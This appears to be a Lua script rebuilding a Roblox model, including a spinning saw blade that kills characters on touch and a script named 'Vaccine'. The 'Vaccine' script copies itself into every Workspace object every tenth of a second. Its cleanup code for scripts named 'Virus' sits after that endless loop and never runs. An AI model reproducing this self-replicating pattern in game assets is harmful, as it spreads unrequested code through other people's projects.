- ManualWeld247.C0 = CFrame.new(-0.200000018, -0.899999738, -0.200000003, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld247.C1 = CFrame.new(0.199996948, -0.899999619, -0.200000763, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld247.Part0 = Part240
- ManualWeld247.Part1 = Part214
- ManualWeld247.part1 = Part214
- Script248.Name = "Vaccine"
- Script248.Parent = Part240
- table.insert(cors,sandbox(Script248,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part249.Name = "SawBlade"
- Part249.Parent = Model0
- Part249.CFrame = CFrame.new(-7.08075523, 3.28000212, -8.29842377, 1.00000131, 0, 0, 0, -1.00000131, 0, 0, 0, -1)
- Part249.Orientation = Vector3.new(0, 180, 180)
- Part249.Position = Vector3.new(-7.08075523, 3.28000212, -8.29842377)
- Part249.Rotation = Vector3.new(-180, 0, 0)
- Part249.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part249.Size = Vector3.new(3.20000076, 3.20000076, 0.400000006)
- Part249.Anchored = true
- Part249.BottomSurface = Enum.SurfaceType.Smooth
- Part249.BrickColor = BrickColor.new("Dark stone grey")
- Part249.TopSurface = Enum.SurfaceType.Smooth
- Part249.brickColor = BrickColor.new("Dark stone grey")
- Part249.FormFactor = Enum.FormFactor.Custom
- Part249.formFactor = Enum.FormFactor.Custom
- SpecialMesh250.Parent = Part249
- SpecialMesh250.MeshId = "http://www.roblox.com/asset/?id=74322089"
- SpecialMesh250.Scale = Vector3.new(2.5, 2.5, 2.5)
- SpecialMesh250.TextureId = "http://www.roblox.com/asset/?id=74322092"
- SpecialMesh250.MeshType = Enum.MeshType.FileMesh
- Script251.Name = "Spin"
- Script251.Parent = Part249
- table.insert(cors,sandbox(Script251,function()
- sp = script.Parent
- sp.Mesh.Scale = script.Parent.Size
- while true do
- sp.CFrame = sp.CFrame * CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0.2)
- wait()
- end
- end))
- Sound252.Name = "Effect"
- Sound252.Parent = Part249
- Sound252.Pitch = 1.5
- Sound252.PlaybackSpeed = 1.5
- Sound252.SoundId = "http://www.roblox.com/asset/?id=2766576"
- Sound252.Volume = 0.60000002384186
- Script253.Name = "Ouch"
- Script253.Parent = Part249
- table.insert(cors,sandbox(Script253,function()
- tex = "http://www.roblox.com/asset/?id=89024949"
- sp = script.Parent
- function onHit(hit)
- if (hit.Parent:FindFirstChild("Humanoid") ~= nil) then
- hit.Parent:FindFirstChild("Humanoid").Health = 0
- sp.Mesh.TextureId = tex
- sp.Effect:Play()
- end
- end
- script.Parent.Touched:connect(onHit)
- end))
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = workspace
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
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